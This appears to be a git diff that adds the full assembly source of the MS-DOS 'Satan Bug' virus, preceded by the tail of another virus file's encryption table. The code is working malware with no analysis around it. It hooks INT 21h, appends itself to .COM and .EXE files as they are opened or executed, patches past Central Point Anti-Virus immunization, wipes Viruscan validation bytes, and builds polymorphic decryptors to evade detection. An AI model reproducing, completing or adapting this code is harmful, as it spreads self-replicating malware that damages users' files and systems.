AX,DS:[Vector21+2H] + CLD + STOSW + POP AX +NoPush: MOV BYTE PTR DS:[Busy_Flag],No + MOV SI,100H + MOV DI,SI + INC AX + JMP AX + +MemEncrypt:RETN +MemLoop:MOV AX,OFFSET Encrypt + CALL AX + LOOP MemLoop + XOR AX,AX + POP ES + POP DS + POP BP + POP SI + POP DI + POP DX + POP CX + POP BX + POP AX + RETF 0002H + DB 0H,0H +MemEncrypt@: + + + +FunctionComp:CMP AH,3DH + JE MemDecrypt + CMP AH,4BH + JE MemDecrypt + CMP AH,6CH + JE MemDecrypt + CMP AH,Signal + JE MemDecrypt +FunctionJump:DB 0EAH,00H,00H,00H,00H +MemDecrypt: + + +LODSTO DB 0ADH,0ABH +LODSTO@: + +; These instructions can be changed if you follow the formating +; protocal + +; Example: E1: DB 00100100B ;2,I,N,W +; ADD WORD PTR DS:[SI],CX +; SUB WORD PTR DS:[SI],CX +; +; This would change E1 so that it would add/sub the counter +; regs to every word encrypted +; +; + +ETAB: DW OFFSET E1-OFFSET ETAB,OFFSET E2-OFFSET ETAB,OFFSET E3-OFFSET ETAB,OFFSET E4-OFFSET ETAB,OFFSET E5-OFFSET ETAB + DW OFFSET E6-OFFSET ETAB,OFFSET E7-OFFSET ETAB,OFFSET E8-OFFSET ETAB,OFFSET E9-OFFSET ETAB,OFFSET E10-OFFSET ETAB,OFFSET E11-OFFSET ETAB + DW OFFSET E12-OFFSET ETAB,OFFSET E13-OFFSET ETAB,OFFSET E14-OFFSET ETAB,OFFSET E15-OFFSET ETAB,OFFSET E16-OFFSET ETAB,OFFSET E17-OFFSET ETAB + DW OFFSET E18-OFFSET ETAB,OFFSET E19-OFFSET ETAB,OFFSET E20-OFFSET ETAB,OFFSET E21-OFFSET ETAB,OFFSET E22-OFFSET ETAB,OFFSET E23-OFFSET ETAB + DW OFFSET E24-OFFSET ETAB,OFFSET E25-OFFSET ETAB,OFFSET E26-OFFSET ETAB,OFFSET E27-OFFSET ETAB,OFFSET E28-OFFSET ETAB,OFFSET E29-OFFSET ETAB + DW OFFSET E30-OFFSET ETAB,OFFSET E31-OFFSET ETAB,OFFSET E32-OFFSET ETAB + ;xxxxyyyy = xxxx EQUALS SIZE OF INSTRUCTION + ;0xxx = INDIRECT 1xxx = LODSW + ;x0xx = ADD x1xx = NO ADD + ;xx0x = WORD xx1x = BYTE (ONLY COUNTS IF ADD BIT IS ZERO) + ;xxx0 = [SI] xxx1 = [SI+1H] +E1: DB 01000000B ;4,I,A,W + ADD WORD PTR DS:[SI],1234H + SUB WORD PTR DS:[SI],1234H +E2: DB 00110010B ;3,I,A,B + ADD BYTE PTR DS:[SI],12H + SUB BYTE PTR DS:[SI],12H +E3: DB 01000011B ;4,I,A,B + ADD BYTE PTR DS:[SI+1H],12H + SUB BYTE PTR DS:[SI+1H],12H +E4: DB 00100100B ;2,I,N + ROR WORD PTR DS:[SI],CL + ROL WORD PTR DS:[SI],CL +E5: DB 00100100B ;2,I,N + ROR BYTE PTR DS:[SI],CL + ROL BYTE PTR DS:[SI],CL +E6: DB 00110101B ;3,I,N + ROR BYTE PTR DS:[SI+1H],CL + ROL BYTE PTR DS:[SI+1H],CL +E7: DB 00100100B ;2,I,N + NOT WORD PTR DS:[SI] + NOT WORD PTR DS:[SI] +E8: DB 00100100B ;2,I,N + NOT BYTE PTR DS:[SI] + NOT BYTE PTR DS:[SI] +E9: DB 00110101B ;3,I,N + NOT BYTE PTR DS:[SI+1H] + NOT BYTE PTR DS:[SI+1H] +E10: DB 01000000B ;4,I,A,W + XOR WORD PTR DS:[SI],1234H + XOR WORD PTR DS:[SI],1234H +E11: DB 00110010B ;3,I,A,B + XOR BYTE PTR DS:[SI],12H + XOR BYTE PTR DS:[SI],12H +E12: DB 01000011B ;4,I,A,B + XOR BYTE PTR DS:[SI+1H],12 + XOR BYTE PTR DS:[SI+1H],12 +E13: DB 00100100B ;2,I,N + NEG WORD PTR DS:[SI] + NEG WORD PTR DS:[SI] +E14: DB 00100100B ;2,I,N + NEG BYTE PTR DS:[SI] + NEG BYTE PTR DS:[SI] +E15: DB 00110101B ;3,I,N + NEG BYTE PTR DS:[SI+1H] + NEG BYTE PTR DS:[SI+1H] +E16: DB 00111000B ;3,L,A,W + ADD AX,1234H + SUB AX,1234H +E17: DB 00111010B ;3,L,A,B + ADD AH,12H + SUB AH,12H +E18: DB 00101010B ;2,L,A,B + ADD AL,12H + SUB AL,12H +E19: DB 00111000B ;3,L,A,W + XOR AX,1234H + XOR AX,1234H +E20: DB 00101010B ;2,L,A,B + XOR AL,12H + XOR AL,12H +E21: DB 00111010B ;2,L,N + XOR AH,12H + XOR AH,12H +E22: DB 00101100B ;2,L,N + XOR AX,CX + XOR AX,CX +E23: DB 00101100B ;2,L,N + XCHG AL,AH + XCHG AL,AH +E24: DB 00101100B ;2,L,N + NOT AX + NOT AX +E25: DB 00101100B ;2,L,N + NOT AL + NOT AL +E26: DB 00101100B ;2,L,N + NOT AH + NOT AH +E27: DB 00101100B ;2,L,N + NEG AX + NEG AX +E28: DB 00101100B ;2,L,N + NEG AH + NEG AH +E29: DB 00101100B ;2,L,N + NEG AL + NEG AL +E30: DB 00101100B + ROR AX,CL + ROL AX,CL +E31: DB 00101100B + ROR AL,CL + ROL AL,CL +E32: DB 00101100B + ROR AH,CL + ROL AH,CL +ETAB@: + +ALTTAB: MOV CX,7FH ;Scramble Encryption table +ALTTABL:MOV DI,OFFSET ETAB + MOV SI,DI + CALL RND + AND AX,1FH + SHL AX,1H + ADD DI,AX + CALL RND + AND AX,1FH + SHL AX,1H + ADD SI,AX + CMP SI,DI + JE ALTTABL + MOV AX,DS:[SI] + XCHG AX,DS:[DI] + MOV WORD PTR DS:[SI],AX + LOOP ALTTABL + RETN + DB ? +ALTTAB@: +Done: DB ? + + +EOFF DW ? +DOFF DW ? +ADDSI DW ? +SIZ DW ? +MOVCX DW ? +ECNT DW ? +INST DW ? +CALL_OFF DW ? +DEC_START DW ? +WRITE_BYTE DB ? +PATH_END DB ? +FillB DB ? +FORCE DB ? +PUTCLD DB ? +PUTCX DB ? +PUSHED DB ? + +Vector21 DD ? ;Segment:Offset of INT 21H +DTA DD ? ;Segment:Offset of DTA +FileSeg DD ? ;Segment:Offset of file +FileDS DW ? ;Original Data Segment +AddSeg DW ? +OldFileSize DD ? +NewFileSize DD ? +Infected DB ? +Opened DB ? +Attribute DB ? +Memory DB ? +ReturnFar DB ? +FuncByte DB ? +Busy_Flag DB ? + +MemDelete: +ImmuneBytes DB 20H DUP(0) + +First20 DB 20H DUP(0) + +NewDTA DB 128 DUP(0) + +ENCRYPT: DB 512 DUP(0) + +JumpHandle DB 5 DUP(0) ;JMP CS:Handle21 + +DECRYPT DB 0H + +Vend: +CSEG ENDS + END Start + diff --git a/MSDOS/Virus.MSDOS.Unknown.satanbug.asm b/MSDOS/Virus.MSDOS.Unknown.satanbug.asm new file mode 100644 index 00000000..eadef50f --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.satanbug.asm @@ -0,0 +1,1663 @@ +CSEG SEGMENT + ASSUME CS:CSEG, ES:CSEG, SS:CSEG + ORG 100H +YES EQU 1 +NO EQU 0 +COM EQU 0 +EXE EQU 1 +Signal EQU 0F9H +Reply EQU 0AC0AH + +; + + +Start: CALL $+3 + POP AX + MOV CL,4H + SHR AX,CL + SUB AX,0010H + MOV CX,CS + ADD AX,CX + PUSH AX + MOV AX,OFFSET Begin + PUSH AX + RETF +JJumpFile:JMP JumpFile +Begin: PUSH DS +BeginC: POP WORD PTR CS:[FileDS] ;Save DS + PUSH CS + POP DS + CMP BYTE PTR DS:[File],COM ;Are we in a .COM file? + JNE NoBytes + MOV AX,DS:[Bytes] ;Restore first 3 Bytes of program + MOV WORD PTR ES:[100H],AX + MOV AX,DS:[Bytes+2H] + MOV WORD PTR ES:[102H],AX +NoBytes:PUSH CS + POP ES + MOV AH,Signal + INT 21H ;Check if we're already in memory + CMP AX,Reply + JE JJumpFile + CMP BYTE PTR DS:[CommandCom],YES ;Are we in Command.COM + JE NoEnv + MOV ES,DS:[FileDS] + MOV ES,ES:[002CH] + XOR DI,DI + MOV SI,OFFSET Comspec + MOV CX,OFFSET Comspec@-OFFSET Comspec + CLD + REPE CMPSB ;Look for COMSPEC= + JNE JJumpFile + XOR AX,AX + MOV CX,0080 + CLD + REPNE SCASB + JNE JJumpFile + MOV CX,000CH + SUB DI,CX + CLD + REP CMPSB ;COMSPEC must equil COMMAND.COM + JNE JJumpFile +NoEnv: PUSH CS + POP ES + MOV AX,DS:[FileDS] ;Segment of our current MCB + DEC AX +MCBLoop:MOV DS,AX + CMP BYTE PTR DS:[0H],'Z' ;Last MCB? + JNE JJumpFile +MCBEnd: MOV AX,(OFFSET Done-OFFSET Start)*2 ;Reserve enough for encryption + ADD AX,3072 + MOV CL,4H + SHR AX,CL + INC AX + SUB WORD PTR DS:[0003H],AX ;Subtract it from MCB.size + XOR BX,BX + MOV ES,BX + SHR AX,CL + SHR CL,1H + SHR AX,CL + INC AX + SUB WORD PTR ES:[413H],AX ;Subtract it from Interrupt 12H + MOV AX,DS:[0003H] + MOV BX,DS + INC BX + ADD AX,BX + SUB AX,0010H + MOV DI,100H + MOV SI,DI + MOV ES,AX + PUSH CS + POP DS + MOV CX,OFFSET Vend-OFFSET Start + CLD + REP MOVSB ;Copy us to high memory + PUSH ES + MOV AX,OFFSET HighCode + PUSH AX + RETF ;Jump to high memory +JumpFile:CMP BYTE PTR CS:[File],COM + MOV ES,CS:[FileDS] ;Restore Segments + MOV DS,CS:[FileDS] + JNE JumpEXE + MOV AX,100H + PUSH DS + PUSH AX + XOR AX,AX + XOR BX,BX + RETF +JumpEXE:MOV AX,DS + ADD AX,0010H + PUSH AX + ADD AX,CS:[EXECS] + MOV WORD PTR CS:[JumpDat+3H],AX + MOV AX,CS:[EXEIP] + MOV WORD PTR CS:[JumpDat+1H],AX + POP AX + ADD AX,CS:[EXESS] + CLI + MOV SS,AX + MOV SP,CS:[EXESP] + XOR AX,AX + XOR BX,BX + STI + JMP SHORT JumpDat +JumpDat:DB 0EAH,00H,00H,00H,00H + +HighCode:PUSH CS + POP DS + MOV BYTE PTR DS:[Busy_Flag],No ;initialize Flag + MOV AX,3521H ;Hook interrupt 21 + INT 21H + MOV WORD PTR DS:[Vector21],BX ;Save Vector + MOV WORD PTR DS:[Vector21+2H],ES + PUSH CS + POP ES + MOV DI,OFFSET JumpHandle + MOV DX,DI + MOV AL,0EAH ;Make jump to our handle + CLD + STOSB + MOV AX,OFFSET Handle21 + CLD + STOSW + MOV AX,CS + CLD + STOSW + MOV AX,2521H ;Point Interrupt 21 to Jump + INT 21H + JMP JumpFile ;Return to program + + +IDText: DB 'Satan Bug virus - Little Loc',0H + + +File DB ? ;Current File: .COM = 0, .EXE = 1 +CommandCom DB ? ; = YES If in COMMAND.COM +Bytes DD ? ;Bytes replaced with jump in .COM files +Comspec DB 'COMSPEC=' +Comspec@: +Command DB 'COMMAND.COM',0H +Command@: +EXESP DW ? ;.EXE SP +EXESS DW ? ;.EXE SS Displacement +EXECS DW ? ;.EXE CS Displacement +EXEIP DW ? ;.EXE IP +RANDOM DW ? ;Random Number +LAST DW ? ;Random Number Data +Immune: DB 22H,19H,35H,93H,59H,57H,54H,80H ;CPAV's Immune I.D. +Validate: DB 0F1H,0FEH,0C6H,0ABH,0H,0F1H ;Scan's Validation I.D. +Validate@: +ImmuneJumpExe: DB 0E9H,8CH,01H ;Write to .EXE's immunized with CPAV +ImmuneJumpCom: DB 0E9H,75H,01H ;Write to .COM's immunized with CPAV + +Handle21Pall:POP ES ;POP REGS (They were pushed in the decryption) + POP DS + POP BP + POP SI + POP DI + POP DX + POP CX + POP BX + POP AX +Handle21:CMP BYTE PTR CS:[Busy_Flag],Yes ;If Flag set skip + JNE Handle21SF + JMP CS:Vector21 +Handle21SF:MOV BYTE PTR CS:[Busy_Flag],Yes ;Set Flag + CMP AH,3DH ;Open? + JE Open + CMP AH,4BH ;Execute? + JE Execute + CMP AH,6CH ;Extended open? + JE ExtOpen + CMP AH,Signal ;Signal? + JNE Jump21 + MOV AX,Reply ;Tell other that we're already here + MOV BYTE PTR CS:[ReturnFar],YES ;Used later + JMP JumpEM +Jump21: MOV BYTE PTR CS:[ReturnFar],NO ;Used Later + JMP JumpEM + +Open: MOV WORD PTR CS:[FileSeg],DX + MOV WORD PTR CS:[FileSeg+2H],DS ;Save SEG:OFF of file + JMP InfStart +Execute:CMP AL,03H + JBE Open + JMP Jump21 +ExtOpen:MOV WORD PTR CS:[FileSeg],SI ;Save SEG:OFF of file + MOV WORD PTR CS:[FileSeg+2H],DS +InfStart:PUSH AX ;Save All Regs + PUSH BX + PUSH CX + PUSH DX + PUSH DI + PUSH SI + PUSH BP + PUSH DS + PUSH ES + CALL Infect ;Infect the file + MOV BYTE PTR DS:[ReturnFar],NO ;Used Later + POP ES + POP DS + POP BP + POP SI + POP DI + POP DX + POP CX + POP BX + POP AX +JumpEM: MOV BYTE PTR CS:[Memory],YES ;Tell encryption that we need + JMP MemBuild ;to be encrypted in memory + +Infect: CALL Which ;Determine if file is .EXE, .COM + CMP AL,COM ; or other + JNE MaybeEXE + CALL InfCOM ;Infect .COM + RETN +MaybeEXE:CMP AL,EXE + JNE InfectRet + CALL InfEXE ;Infect .EXE +InfectRet:RETN + +JWhichRetNone:JMP WhichRetNone + +Which: PUSH CS + POP DS + MOV WORD PTR DS:[JumpHandle+1H],OFFSET Handle21 ;Point handle at us + MOV BYTE PTR DS:[Opened],NO ; not decryption + MOV BYTE PTR DS:[Attribute],NO + MOV BYTE PTR DS:[Infected],NO + MOV BYTE PTR DS:[CommandCom],NO + MOV AX,2F00H ;Get DTA SEG:OFF + CALL Call21 + MOV WORD PTR DS:[DTA],BX + MOV WORD PTR DS:[DTA+2H],ES ;Save it + PUSH CS + POP ES + MOV DX,OFFSET NewDTA + MOV AX,1A00H + CALL Call21 ;Set to are DTA + LDS DX,DS:[FileSeg] + MOV AX,4E00H ;Find the target file + MOV CX,0027H + CALL Call21 + PUSHF + MOV AX,1A00H ;Reset DTA + LDS DX,CS:[DTA] + CALL Call21 + PUSH CS + POP DS + POPF + JB JWhichRetNone + CMP WORD PTR DS:[NewDTA+1CH],0H ;Must be larger then + JNE WhichNoSize ; 1024 Bytes + CMP WORD PTR DS:[NewDTA+1AH],1024 + JB JWhichRetNone +WhichNoSize:CMP BYTE PTR DS:[NewDTA+19H],0C8H ;19xx+100 Years + JNB JWhichRetNone + ADD BYTE PTR DS:[NewDTA+19H],0C8H ;ADD 100 Years to date + TEST BYTE PTR DS:[NewDTA+15H],01H ;Read Only? + LDS DX,DS:[FileSeg] + JE NoAttr + XOR CX,CX ;if yes, set to 0 + MOV AX,4301H + CALL Call21 + JB WhichRetNone + MOV BYTE PTR CS:[Attribute],YES ;Remember that we changed it +NoAttr: MOV AX,3D02H ;Open + CALL Call21 + JB WhichRetNone + PUSH CS + POP DS + MOV BYTE PTR DS:[Opened],YES ;Remember that we opened it + MOV BX,AX + MOV AX,3F00H ;Read first 20H bytes + MOV CX,0020H + MOV DX,OFFSET First20 + CALL Call21 + JB WhichRetNone + CMP AX,CX + JNE WhichRetNone + CMP WORD PTR DS:[First20],'ZM' ;Is it an .EXE style program? + JE WhichRetEXE + MOV DI,OFFSET NewDTA+1EH ;Offset of found file + MOV CX,OFFSET Command@-OFFSET Command + MOV SI,OFFSET Command + PUSH DI + PUSH SI + CLD + REP CMPSB ;Is it COMMAND.COM? + POP SI + POP DI + JE RetCommand + MOV CX,14 + XOR AX,AX + CLD + REPNE SCASB ;Find end of file + JNE WhichRetNone + MOV CX,5H ;Comp last 5 Bytes + SUB DI,CX + ADD SI,0007H + CLD + REP CMPSB ;Is it an .COM style program? + JE WhichRetCOM +WhichRetNone: + CALL Close + XOR AX,AX + DEC AX + RETN +RetCommand:MOV BYTE PTR DS:[CommandCom],YES ;Remember that this file is +WhichRetCOM: ; Command.COM + MOV AL,COM + MOV BYTE PTR DS:[File],AL + RETN +WhichRetEXE: + MOV AL,EXE + MOV BYTE PTR DS:[File],AL + RETN + +PositionEnd: + MOV AX,4202H ;Set File Pointer to end + XOR CX,CX + MOV DX,CX + CALL Call21 + CMP BYTE PTR DS:[File],COM + JE NoDivide + PUSH AX ;If .EXE then get Page size and modula data + PUSH DX + PUSH CX + MOV CX,200H + DIV CX + INC AX + CMP WORD PTR DS:[First20+4H],AX ;Must be right in header or abort + JNE HeaderError + CMP WORD PTR DS:[First20+2H],DX + JNE HeaderError + POP CX + POP DX + POP AX +NoDivide:CALL FindScan ;Delete validation data (Viruscan) + JB PosEndErr + MOV CX,DX + MOV DX,AX + MOV AX,4200H ;Set file pointer to beginning + CALL Call21 + TEST AX,000FH + JE NoAdjust + AND AX,0FFF0H ;Set to Paragraph + ADD AX,0010H + MOV CX,DX + MOV DX,AX + MOV AX,4200H + CALL Call21 ;at end +NoAdjust:CMP BYTE PTR DS:[File],COM ;Is it a .COM file + JNE NoSize + OR DX,DX + JNE PosEndErr + CMP AX,65535-(OFFSET Done-OFFSET Start)-2048 ;.COM's must be < + JA PosEndErr +NoSize: MOV WORD PTR DS:[OldFileSize],AX ;Save original size (for CPAV) + MOV WORD PTR DS:[OldFileSize+2H],DX + MOV BYTE PTR DS:[Memory],NO ;Tell encryption it's for a + ; file + CALL Build ;Make encrypted copy of us + MOV AX,4000H ;Write it to the file + CALL Call21 + JB PosEndErr + MOV BYTE PTR DS:[Infected],YES ;Remember that this file is Infected + MOV AX,4201H ;4201 DX=CX=0: Get current File Pointer + XOR CX,CX + MOV DX,CX + CALL Call21 + MOV WORD PTR DS:[NewFileSize],AX ;Remember new file size + MOV WORD PTR DS:[NewFIleSize+2H],DX ; (for .EXE header) + XOR AX,AX + RETN +HeaderError:POP CX + POP DX + POP AX +PosEndErr:XOR AX,AX + DEC AX + RETN +PositionStart: + MOV AX,4200H ;AX=4200 CX=DX=0 set pointer to start + XOR CX,CX + XOR DX,DX + CALL Call21 + MOV DX,OFFSET First20 + MOV CX,20H ;Read 20H Bytes + MOV AX,4000H + CALL Call21 + JB PosStaErr + XOR AX,AX + RETN +PosStaErr:XOR AX,AX + DEC AX + RETN + +FindScan:PUSH AX + PUSH DX + SUB AX,75 ;Validation bytes are in lat 75 Bytes + MOV CX,DX ; of the program (if they're there) + MOV DX,AX + MOV AX,4200H + CALL Call21 ;Set file position + MOV DX,OFFSET Encrypt + MOV CX,75 + MOV AX,3F00H ;Read those last 75 Bytes + CALL Call21 + CMP AX,CX + JNE ScanErr + CALL ScanSearch ;Are validation bytes here? + OR AX,AX + JNE FindRet + POP DX + POP AX + SUB AX,75 + ADD AX,DI + MOV CX,DX + MOV DX,AX + MOV AX,4200H ;Set file position to Validation bytes + CALL Call21 + PUSH AX + PUSH DX + MOV AX,4000H ;Overwrite them with Zero + MOV CX,75 + SUB CX,DI + MOV DI,OFFSET Decrypt + MOV DX,DI + PUSH AX + PUSH CX + XOR AX,AX + CLD + REP STOSB + POP CX + POP AX + CALL Call21 + JB ScanErr +FindRet:CLC + POP DX + POP AX + RETN +ScanErr:STC + POP DX + POP AX + RETN + + + +ScanSearch:MOV AL,0FFH + CALL ScanDecrypt ;Decrypt Internal Validation bytes + MOV SI,OFFSET Validate + MOV DI,OFFSET Encrypt + MOV CX,76-(OFFSET Validate@-OFFSET Validate) + CLD + LODSB +SearchCont:REPNE SCASB ;Find first byte + JNE SearchNeg + PUSH SI + PUSH CX + CLD + REP CMPSB ;if found then compare rest + POP CX + POP SI + JE SearchYes + JMP SearchCont +SearchNeg:MOV AL,1H ;Encrypt Internal Validation Bytes + CALL ScanDecrypt + XOR AX,AX + DEC AX + RETN + +SearchYes:SUB DI,OFFSET Encrypt + SUB DI,CX + DEC DI ;Get offset from encrypt + MOV AL,1H + CALL ScanDecrypt ;Encrypt Internal Validation Bytes + XOR AX,AX + RETN + +ScanDecrypt:MOV SI,OFFSET Validate + MOV CX,OFFSET Validate@-OFFSET Validate +ScanLP: ADD BYTE PTR DS:[SI],AL + INC SI + LOOP ScanLP + RETN + +Close: CMP BYTE PTR DS:[Opened],NO ;Was it opended? + JE NoClose + CMP BYTE PTR DS:[Infected],YES ;Was it infected + JNE NoDate + MOV AX,5701H ;then reset date + MOV CX,DS:[NewDTA+16H] + MOV DX,DS:[NewDTA+18H] + CALL Call21 +NoDate: MOV AX,3E00H ;then close + CALL Call21 +NoClose:CMP BYTE PTR DS:[Attribute],NO ;Was the attribute changed? + JE NoSetAttr + XOR CX,CX + MOV CL,DS:[NewDTA+15H] + TEST CL,1H + JE NoSetAttr + MOV AX,4301H ;then reset it + LDS DX,DS:[FileSeg] + CALL Call21 + PUSH CS + POP DS +NoSetAttr:RETN + + + + +DisImmune:CMP BYTE PTR DS:[File],EXE ;Is file .EXE + JE ExeImmune + MOV SI,OFFSET First20 + MOV DI,OFFSET ImmuneBytes + MOV CX,000EH + CLD + REP MOVSB ;Move header info + JMP ImmuneComp +ExeImmune:MOV DX,DS:[First20+8H] ;Size of header + MOV CL,4H ;Change form paragraphs to bytes + SHL DX,CL + MOV AX,4200H ;set to that position + XOR CX,CX + CALL Call21 + MOV AX,3F00H ;Read those 10H bytes + MOV DX,OFFSET ImmuneBytes + MOV CX,0010H + CALL Call21 + CMP AX,CX + JNE DisImmuneNo +ImmuneComp:MOV DI,OFFSET ImmuneBytes+6H + MOV SI,OFFSET Immune + MOV CX,0008H ;Is CPAV Immune here? + CLD + REP CMPSB + JNE DisImmuneYes + CMP BYTE PTR DS:[File],EXE ;Is file an .EXE + JNE ImmunePosCom + JMP ImmunePosExe +DisImmuneNo:XOR AX,AX + DEC AX + RETN +DisImmuneYes:XOR AX,AX + RETN +ImmunePosCom:XOR CX,CX + MOV DX,DS:[ImmuneBytes+1H] ;Offset to End of immunization code + SUB DX,02F0H ;Set Offset Start of immunzation code + MOV AX,4200H + CALL Call21 + JMP ImmuneWrite +ImmunePosExe:XOR AX,AX + MOV DX,DS:[First20+8H] ;End of header + ADD DX,DS:[First20+16H] ;plus .EXE start offset + CMP DX,0FFFH + JB ImmuneNoR + PUSH DX + AND DX,0F000H + MOV AX,DX + POP DX + MOV CL,4H + ROL AX,CL +ImmuneNoR:MOV CL,4H + SHL DX,CL + ADD DX,DS:[First20+14H] + JNB ImmuneNoI + INC AX +ImmuneNoI:ADD DX,0030H + JNB ImmuneNoI1 + INC AX +ImmuneNoI1:MOV CX,AX + MOV AX,4200H + CALL Call21 +ImmuneWrite:MOV AX,4000H ;Write jump to code + MOV CX,0003H + MOV DX,OFFSET ImmuneJumpCom + CMP BYTE PTR DS:[File],COM + JE ImmuneW + MOV DX,OFFSET ImmuneJumpExe +ImmuneW:CALL Call21 + JB DisImmuneNo + XOR AX,AX + RETN + +InfCOM: CALL DisImmune + OR AX,AX + JNE InfCOMClose + MOV AX,DS:[First20] ;Save bytes from CPAV code + MOV WORD PTR DS:[Bytes],AX + MOV AX,DS:[First20+2H] + MOV WORD PTR DS:[Bytes+2H],AX + CALL PositionEnd ;To end of file + OR AX,AX + JNE InfCOMClose + MOV DI,OFFSET First20 + MOV AL,0E9H ; 0E9H = JMP xxxx + CLD + STOSB + MOV AX,DS:[OldFileSize] + SUB AX,0003H ;End of file + CLD + STOSW + CALL PositionStart ;To start +InfCOMClose:CALL Close + RETN + +InfEXE: CALL DisImmune ;Call the anti-CPAV code + OR AX,AX + JNE InfEXEClose + CMP WORD PTR DS:[First20+0CH],-1 ;.EXE must ask for all of memory + JNE InfEXEClose + MOV AX,DS:[First20+0EH] ;Get stack seg displacement + MOV WORD PTR DS:[EXESS],AX ;Save it + MOV AX,DS:[First20+10H] ;Get Stack Pointer + MOV WORD PTR DS:[EXESP],AX ;Save it + MOV AX,DS:[First20+14H] ;Get Instruction pointer + MOV WORD PTR DS:[EXEIP],AX ;Save it + MOV AX,DS:[First20+16H] ;Get Code segment displacement + MOV WORD PTR DS:[EXECS],AX ;Save it + CALL PositionEnd ;To end + OR AX,AX + JNE InfEXEClose + CALL FixHeader ;Fix .EXE Header + CALL PositionStart ;To start +InfEXEClose:CALL Close + RETN + +FixHeader:MOV AX,DS:[NewFileSize] + MOV DX,DS:[NewFileSize+2H] + MOV CX,200H + DIV CX + INC AX + MOV WORD PTR DS:[First20+2H],DX ;Set size in Header to accomendate us + MOV WORD PTR DS:[First20+4H],AX + MOV AX,DS:[OldFileSize] + MOV DX,DS:[First20+8H] + MOV CL,4H + SHL DX,CL + SUB AX,DX ;Set IP to us + MOV WORD PTR DS:[AddSeg],0H +IP_CMP: CMP AX,65535-((OFFSET Done-OFFSET Start)+4096) + JB NoIPMan + SUB AX,0010H + INC WORD PTR DS:[AddSeg] + JMP SHORT IP_CMP +NoIPMan:MOV WORD PTR DS:[First20+14H],AX + MOV AX,DS:[OldFileSize+2H] + CMP AX,000FH + JA FixError + XCHG AL,AH + SHL AX,CL + ADD AX,DS:[AddSeg] + MOV WORD PTR DS:[First20+16H],AX + MOV WORD PTR DS:[First20+0EH],AX + MOV WORD PTR DS:[First20+10H],0FFFEH + XOR AX,AX + RETN +FixError:XOR AX,AX + DEC AX + RETN + +Call21: PUSHF + CALL CS:Vector21 + RETN + +RND: PUSH CX +RND1: PUSH AX + XOR AX,AX + MOV DS,AX + POP AX + ADD AX,DS:[46CH] + PUSH CS + POP DS + ADD AX,DS:[RANDOM] + ADD CX,AX + XCHG AL,AH + TEST AX,CX + JE RND2 + TEST CH,CL + JE RND3 + ADD CX,AX +RND2: XCHG CL,CH + SUB CX,AX + SUB WORD PTR DS:[RANDOM],AX + CMP WORD PTR DS:[LAST],AX + JNE RNDRT + TEST CX,AX + JNE RND3 + SUB AH,CL + ADD CX,AX + TEST AL,CL + JNE RND3 + TEST WORD PTR DS:[RANDOM],AX + JE RND3 + SUB CX,AX +RND3: XCHG AL,AH + SUB CX,AX + XCHG CL,CH + JMP RND1 +RNDRT: MOV WORD PTR DS:[LAST],AX + POP CX + RET +RND@: + +MemBuild:PUSH AX + PUSH BX + PUSH CX + PUSH DX + PUSH DI + PUSH SI + PUSH BP + PUSH DS + PUSH ES + PUSH CS + POP ES + PUSH CS + POP DS +BUILD: PUSH BX + CALL ALTTAB + MOV DI,OFFSET DECRYPT + AND DI,0FFF0H + ADD DI,0010H + MOV WORD PTR DS:[DOFF],DI + MOV WORD PTR DS:[EOFF],OFFSET ENCRYPT + CMP BYTE PTR DS:[Memory],YES + JE CallMH + CALL HEAD + JMP SHORT BUILDL +CallMH: CALL MemHead +BUILDL: CALL RND + AND AX,001FH + JE BUILDL + MOV WORD PTR DS:[ECNT],AX + MOV WORD PTR DS:[INST],AX +BUILDLP:CALL MAKE + DEC WORD PTR DS:[ECNT] + JNE BUILDLP + CMP BYTE PTR DS:[Memory],YES + JE CallMT + CALL BTAIL + JMP SHORT BuildRet +CallMT: POP AX + JMP MemTail +BuildRet:POP BX + RETN +BUILD@: + +MAKE: MOV BX,OFFSET ETAB + CALL RND + AND AX,001FH + SHL AX,1H + ADD BX,AX + MOV SI,DS:[BX] + ADD SI,OFFSET ETAB + INC SI + MOV DI,DS:[EOFF] ;DI=OFFSET OF ENCRYPT+N + MOV AH,DS:[SI-1H] + MOV CL,4H + SHR AH,CL ;GET INSTRUCTION SIZE + XOR CX,CX + MOV CL,AH + CALL RND + TEST AX,1H + JNE NOSWI + PUSH CX + PUSH DI + PUSH SI + MOV DI,SI + ADD DI,CX +SWLP: MOV AL,DS:[DI] + XCHG DS:[SI],AL + CLD + STOSB + INC SI + LOOP SWLP + POP SI + POP DI + POP CX +NOSWI: MOV DL,DS:[SI-1H] + TEST DL,00001000B + JE MOVINT + MOV BX,OFFSET LODSTO + MOV AL,DS:[BX] + CLD + STOSB + JMP PUTADD +MOVINT: CALL RND + TEST AL,1H + JNE PUTADD + PUSH SI + ADD SI,CX + DEC SI + TEST DL,00000100B + JNE ROTCL + DEC SI + TEST DL,00000010B + JNE ROTCL + DEC SI +ROTCL: TEST DL,1H + JE ROTIT + DEC SI +ROTIT: RCR BYTE PTR DS:[SI],1H + CMC + RCL BYTE PTR DS:[SI],1H + ADD SI,CX + RCR BYTE PTR DS:[SI],1H + CMC + RCL BYTE PTR DS:[SI],1H + POP SI +PUTADD: TEST DL,00000100B + JNE NOADD + PUSH SI + ADD SI,CX + DEC SI + TEST DL,00000010B + JNE ADBYTE + CALL RND + DEC SI + ADD WORD PTR DS:[SI],AX + ADD SI,CX + ADD WORD PTR DS:[SI],AX + POP SI + JMP NOADD +ADBYTE: CALL RND + ADD BYTE PTR DS:[SI],AL + ADD SI,CX + ADD BYTE PTR DS:[SI],AL + POP SI +NOADD: PUSH CX + CLD + REP MOVSB + POP CX + TEST DL,00001000B + JNE PUTSTO + CALL PUTINC + JMP MDEC +PUTSTO: MOV AL,DS:[BX+1H] + CLD + STOSB +MDEC: MOV WORD PTR DS:[EOFF],DI + MOV DI,DS:[DOFF] + MOV BYTE PTR DS:[FillB],YES + TEST DL,00001000B + JE DECMOV + MOV AL,DS:[BX] + CLD + STOSB + CALL Fill +DECMOV: CLD + REP MOVSB + CALL Fill + TEST DL,00001000B + JE DECINC + MOV AL,DS:[BX+1H] + CLD + STOSB + JMP DECRT +DECINC: CALL PUTINC +DECRT: CALL Fill + CMP WORD PTR DS:[ECNT],1H + JNE SAVEDI + CMP BYTE PTR DS:[Memory],YES + JNE NoDecJMP + CALL Fill + JMP SHORT SaveDI +NoDecJMP:MOV AL,0EBH + CLD + STOSB + XOR AX,AX + MOV BX,DI + CLD + STOSB + MOV AX,DS:[INST] + SHL AX,1H + CMP AX,6H + JBE SaveDI + SUB AX,0006H + MOV CX,AX + CALL Fill_NUM 